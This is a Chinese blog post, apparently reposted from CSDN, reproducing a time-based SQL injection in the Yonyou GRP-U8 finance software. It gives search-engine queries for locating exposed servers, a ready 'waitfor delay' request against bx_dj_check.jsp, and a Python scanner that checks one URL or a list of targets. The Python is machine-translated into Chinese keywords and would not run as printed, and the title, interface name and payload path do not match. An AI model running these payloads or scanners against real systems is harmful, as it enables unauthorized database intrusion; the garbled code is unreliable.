【漏洞复现】用友GRP 用友nc6.5漏洞

【漏洞复现】用友GRP 声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述

免责声明:本文档或演示材料仅用于教育和教育目的,任何利用本文档中的信息进行非法活动的个人或组织与本文档的作者或发布者没有任何关系。

文章目录

漏洞描述漏洞复现测试工具

漏洞描述

用友GRP-U8是一款企业管理软件,系统的dialog_moreUser_check.jsp接口存在SQL注入漏洞。

漏洞复现

1)资产映射

fofa:app=\’用友-GRP-U8\’

猎人:app.name=\’UFIDA-GRP-U8\’

草稿会议!

2)数据包的构建

GET /u8qx/bx_dj_check.jsp?djlxdm=OERdjid=1\’;waitfor+delay+\’0:0:5\’– HTTP/1.1

Host:你的IP

打嗝!开始!

延迟响应5041ms,存在SQL注入~

代码解释:

waitfordelay\’0:0:5\’ 这是一个特定于SQL Server 的命令,可将当前SQL 语句的执行暂停5 秒。检查响应时间以查看是否存在任何SQL 注入漏洞。如果服务器响应时间显着增加(本例中为5 秒),则可能表明注入的SQL 命令已被执行,从而确认存在SQL 注入漏洞。

测试工具

波库

#!/usr/bin/env Python

# -*-coding: utf-8 -*-

# @Author: 千盟安全

导入请求

导入参数解析

导入时间

从urllib3.Exceptions 导入InsecureRequestWarning

# 定义控制台输出的颜色代码

红色=\’\\033[91m\’\”

重置=\’\\033[0m\’

# 忽略有关不安全请求的警告

request.packages.urllib3.disable_warnings(类别=InsecureRequestWarning)

def check_vulnerability(url):

””

检测指定URL是否存在SQL注入漏洞。

参数:

– url: 目标网站的URL地址

””

尝试:

# 构造攻击URL并尝试触发SQL注入延迟

Attack_url=url.rstrip(\’/\’) + \’/u8qx/bx_dj_check.jsp?djlxdm=OERdjid=1\’;waitfor+delay+\’0:0:5\’–\’

# 记录请求的开始时间

开始时间=时间.time()

#发送GET请求,不验证SSL证书,设置超时时间

响应=request.get(攻击URL,验证=False,超时=10)

# 计算请求时间

经过的时间=time.time() – 开始时间

# 如果请求耗时5-10秒,则可能存在SQL注入漏洞。

5 10: 表示经过的时间

print(f\'{RED}URL [{url}] yonyou-grp-u8-bx_dj_check-sql-injection 可能容易受到攻击{RESET}\’)

: 其他

print(f\’URL [{url}] 不易受到攻击\’)

除了request.Exceptions.Timeout:

请求超时。可能很脆弱

print(f\’URL [{url}] 请求超时。可能存在漏洞\’)

除了requests.RequestException 作为e:

# 其他请求异常

print(f\’URL [{url}] 请求失败: {e}\’)

def main():

””

其主要功能是解析命令行参数并进行漏洞检测。

””

parser=argparse.ArgumentParser(description=\’检测目标地址是否存在yonyou-grp-u8-sql-injection漏洞\’)

parser.add_argument(\’-u\’, \’–url\’, help=\’指定目标地址\’)

parser.add_argument(\’-f\’, \’–file\’, help=\’指定包含目标地址的文本文件\’)

# 解析命令行参数

args=parser.parse_args()

# 如果指定了URL参数

如果args.url:

# 确保URL 以http 或https 开头

否则args.url.startswith((\’http://\’, \’https://\’)):

args.url=\’http://\’ + args.url

检查漏洞(args.url)

# 如果指定了文件参数

elif args.file:

# 读取文件中的URL列表

使用open(args.file, \’r\’) 作为file:

URL=file.read().splitlines()

对于URL urls:

# 确保URL 以http 或https 开头

如果没有, url.startswith((\’http://\’, \’https://\’)):

网址=\’http://\’+网址

检查漏洞(网址)

如果__name__==\’__main__\’:

主要的()

运行截图

#【漏洞复现】以上用友GRP相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92465.html

(0)
CSDN的头像CSDN
上一篇 2024年6月27日
下一篇 2024年6月27日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注